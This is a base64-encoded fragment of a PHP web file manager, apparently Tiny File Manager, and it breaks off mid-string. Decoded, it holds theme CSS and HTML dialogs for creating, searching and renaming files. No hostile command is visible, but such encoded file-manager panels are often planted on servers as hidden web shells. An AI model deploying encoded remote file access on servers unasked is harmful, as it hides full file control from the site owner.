ZHMtZmFjZWJvb2sgewogICAgICAgICAgICAgICAgMCUgewogICAgICAgICAgICAgICAgICAgIHRvcDogNnB4OwogICAgICAgICAgICAgICAgICAgIGhlaWdodDogNTFweAogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIDEwMCUsCiAgICAgICAgICAgICAgICA1MCUgewogICAgICAgICAgICAgICAgICAgIHRvcDogMTlweDsKICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDI2cHgKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIgewogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwOwogICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2VjZWNlY2NjOwogICAgICAgICAgICB9CgogICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaSB7CiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lOwogICAgICAgICAgICAgICAgcGFkZGluZzogNXB4OwogICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlY2VjZWNjYzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIgbGk6bnRoLWNoaWxkKG9kZCkgewogICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjOwogICAgICAgICAgICB9CgogICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7CiAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IDMwMHB4OwogICAgICAgICAgICB9CgogICAgICAgICAgICAuYm9yZGVyLXJhZGl1cy0wIHsKICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mbG9hdC1yaWdodCB7CiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7CiAgICAgICAgICAgICAgICBib3JkZXItbGVmdDogMXB4IHNvbGlkICMxYjc3ZmQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNtYWluLXRhYmxlIHRyLmV2ZW4gewogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0Y4RjlGYTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmZpbGVuYW1lPmE+aSB7CiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmZzLTcgewogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgICAgICB9CiAgICAgICAgPC9zdHlsZT4KICAgICAgICA8P3BocAogICAgICAgIGlmIChGTV9USEVNRSA9PSAiZGFyayIpOiA/PgogICAgICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgICAgICA6cm9vdCB7CiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxOwogICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7CiAgICAgICAgICAgICAgICAgICAgLS1icy1kYXJrLXJnYjogMjgsIDM2LCA0MSAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgICAgIC0tYnMtYmctb3BhY2l0eTogMTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBib2R5LnRoZW1lLWRhcmsgewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7CiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNDRkQ4REM7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLmxpc3QtZ3JvdXAgLmxpc3QtZ3JvdXAtaXRlbSB7CiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzM0M2E0MDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAubmF2YmFyLW5hdiBpLAogICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSwKICAgICAgICAgICAgICAgIC5icmVhay13b3JkIHsKICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQzsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBhLAogICAgICAgICAgICAgICAgYTpob3ZlciwKICAgICAgICAgICAgICAgIGE6dmlzaXRlZCwKICAgICAgICAgICAgICAgIGE6YWN0aXZlLAogICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsCiAgICAgICAgICAgICAgICBpLmZhLmZhLWZvbGRlci1vLAogICAgICAgICAgICAgICAgaS5nby1iYWNrIHsKICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHsKICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjEyYTJmOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5idG4tb3V0bGluZS1wcmltYXJ5IHsKICAgICAgICAgICAgICAgICAgICBjb2xvcjogI2I4ZTU5YzsKICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsCiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeTphY3RpdmUgewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyZDQxMjE7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgaW5wdXQuZm9ybS1jb250cm9sIHsKICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4OwogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5kcm9wem9uZSB7CiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmlubGluZS1hY3Rpb25zPmE+aSB7CiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7CiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNDRkQ4REMgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQsCiAgICAgICAgICAgICAgICAudGFibGUtYm9yZGVyZWQgdGggewogICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LAogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRoIC5jdXN0b20tY29udHJvbC1pbnB1dCB7CiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMC42Nzg7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLm1lc3NhZ2UgewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7CiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNzk3NTVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICA8L3N0eWxlPgogICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPC9oZWFkPgoKICAgIDxib2R5IGNsYXNzPSI8P3BocCBlY2hvIChGTV9USEVNRSA9PSAiZGFyayIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PiI+CiAgICAgICAgPGRpdiBpZD0id3JhcHBlciIgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCI+CiAgICAgICAgICAgIDwhLS0gTmV3IEl0ZW0gY3JlYXRpb24gLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUiIGlkPSJjcmVhdGVOZXdJdGVtIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgZGF0YS1icy1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWJzLWtleWJvYXJkPSJmYWxzZSIgYXJpYS1sYWJlbGxlZGJ5PSJuZXdJdGVtTW9kYWxMYWJlbCIgYXJpYS1oaWRkZW49InRydWUiIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyIgcm9sZT0iZG9jdW1lbnQiPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJtb2RhbC1jb250ZW50IiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJtb2RhbC10aXRsZSIgaWQ9Im5ld0l0ZW1Nb2RhbExhYmVsIj48aSBjbGFzcz0iZmEgZmEtcGx1cy1zcXVhcmUgZmEtZnciPjwvaT48P3BocCBlY2hvIGxuZygnQ3JlYXRlTmV3SXRlbScpID8+PC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9Im5ld2ZpbGUiPjw/cGhwIGVjaG8gbG5nKCdJdGVtVHlwZScpID8+IDwvbGFiZWw+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJyYWRpbyIgbmFtZT0ibmV3ZmlsZSIgaWQ9ImN1c3RvbVJhZGlvSW5saW5lMSIgbmFtZT0ibmV3ZmlsZSIgdmFsdWU9ImZpbGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTEiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tY2hlY2staW5saW5lIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9InJhZGlvIiBuYW1lPSJuZXdmaWxlIiBpZD0iY3VzdG9tUmFkaW9JbmxpbmUyIiB2YWx1ZT0iZm9sZGVyIiBjaGVja2VkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTIiPjw/cGhwIGVjaG8gbG5nKCdGb2xkZXInKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibXQtMyI+PGxhYmVsIGZvcj0ibmV3ZmlsZW5hbWUiPjw/cGhwIGVjaG8gbG5nKCdJdGVtTmFtZScpID8+IDwvbGFiZWw+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZpbGVuYW1lIiBpZD0ibmV3ZmlsZW5hbWUiIHZhbHVlPSIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnRW50ZXIgaGVyZS4uLicpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1wcmltYXJ5IiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDwhLS0gQWR2YW5jZSBTZWFyY2ggTW9kYWwgLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUiIGlkPSJzZWFyY2hNb2RhbCIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0ic2VhcmNoTW9kYWxMYWJlbCIgYXJpYS1oaWRkZW49InRydWUiIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyBtb2RhbC1sZyIgcm9sZT0iZG9jdW1lbnQiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJtb2RhbC10aXRsZSBjb2wtMTAiIGlkPSJzZWFyY2hNb2RhbExhYmVsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCBtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4gPD9waHAgZWNobyBsbmcoJ2EgZmlsZXMnKSA/PiIgYXJpYS1sYWJlbD0iPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+IiBhcmlhLWRlc2NyaWJlZGJ5PSJzZWFyY2gtYWRkb24zIiBpZD0iYWR2YW5jZWQtc2VhcmNoIiBhdXRvZm9jdXMgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpbnB1dC1ncm91cC10ZXh0IiBpZD0ic2VhcmNoLWFkZG9uMyI+PGkgY2xhc3M9ImZhIGZhLXNlYXJjaCI+PC9pPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvaDU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCIgYXJpYS1sYWJlbD0iQ2xvc2UiPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsZHMtZmFjZWJvb2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ic2VhcmNoLXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibS0yIj48P3BocCBlY2hvIGxuZygnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJykgPz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8IS0tUmVuYW1lIE1vZGFsIC0tPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBtb2RhbC1hbGVydCIgZGF0YS1icy1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWJzLWtleWJvYXJkPSJmYWxzZSIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGlkPSJyZW5hbWVEaWFsb2ciIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyIgcm9sZT0iZG9jdW1lbnQiPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3ciIG1ldGhvZD0icG9zdCIgYXV0b2NvbXBsZXRlPSJvZmYiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IHAtNCB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9Im1iLTMiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JykgPz48L2g1PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9Im1iLTEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZW5hbWVfdG8iIGlkPSJqcy1yZW5hbWUtdG8iIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnRW50ZXIgbmV3IGZpbGUgbmFtZScpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVuYW1lX2Zyb20iIGlkPSJqcy1yZW5hbWUtZnJvbSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZCIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48L3N0cm9uZz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPgogICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvaHRtbCIgaWQ9ImpzLXRwbC1jb25maXJtIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIG1vZGFsLWFsZXJ0IGNvbmZpcm1EaWFsb2ciIGRhdGEtYnMtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1icy1rZXlib2FyZD0iZmFsc2UiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBpZD0iY29uZmlybURpYWxvZy08JXRoaXMuaWQlPiIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyIgcm9sZT0iZG9jdW1lbnQiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0ibW9kYWwtY29udGVudCByb3VuZGVkLTMgc2hhZG93IiBtZXRob2Q9InBvc3QiIGF1dG9jb21wbGV0ZT0ib2ZmIiBhY3Rpb249IjwldGhpcy5hY3Rpb24lPiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IHAtNCB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJtYi0yIj48P3BocCBlY2hvIGxuZygnQXJlIHlvdSBzdXJlIHdhbnQgdG8nKSA/PiA8JXRoaXMudGl0bGUlPiA/PC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibWItMSI+PCV0aGlzLmNvbnRlbnQlPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1saW5rIGZzLTYgdGV4dC1kZWNvcmF0aW9uLW5vbmUgY29sLTYgbS0wIHJvdW5kZWQtMCBib3JkZXItZW5kIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIj48P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1saW5rIGZzLTYgdGV4dC1kZWNvcmF0aW9uLW5vbmUgY29sLTYgbS0wIHJvdW5kZWQtMCIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnT2theScpID8+PC9zdHJvbmc+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgIDw/cGhwCiAgICB9CgogICAgLyoqCiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGFmdGVyIGxvZ2luCiAgICAgKi8KICAgIGZ1bmN0aW9uIGZtX3Nob3dfZm9vdGVyKCkKICAgIHsKICAgICAgICBnbG9iYWwgJGV4dF9sYW5ndWFnZTsKICAgICAgICA/PgogICAgICAgIDwvZGl2PgogICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz4KICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtYm9vdHN0cmFwJyk7ID8+CiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyk7ID8+CiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+CiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1oaWdobGlnaHRqcycpOyA/PgogICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTsKICAgICAgICAgICAgICAgIHZhciBpc0hpZ2hsaWdodGluZ0VuYWJsZWQgPSB0cnVlOwogICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7CiAgICAgICAgICAgICAgICB2YXIgcmUgPSAvPFwlKFteXCU+XSspP1wlPi9nLAogICAgICAgICAgICAgICAgICAgIHJlRXhwID0gLyheKCApPyhpZnxmb3J8ZWxzZXxzd2l0Y2h8Y2FzZXxicmVha3x7fH0pKSguKik/L2csCiAgICAgICAgICAgICAgICAgICAgY29kZSA9ICd2YXIgcj1bXTtcbicsCiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCwKICAgICAgICAgICAgICAgICAgICBtYXRjaDsKICAgICAgICAgICAgICAgIHZhciBhZGQgPSBmdW5jdGlvbihsaW5lLCBqcykgewogICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xuJyA6ICdyLnB1c2goJyArIGxpbmUgKyAnKTtcbicpIDogKGNvZGUgKz0gbGluZSAhPSAnJyA/ICdyLnB1c2goIicgKyBsaW5lLnJlcGxhY2UoLyIvZywgJ1xcIicpICsgJyIpO1xuJyA6ICcnKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB3aGlsZSAobWF0Y2ggPSByZS5leGVjKGh0bWwpKSB7CiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMC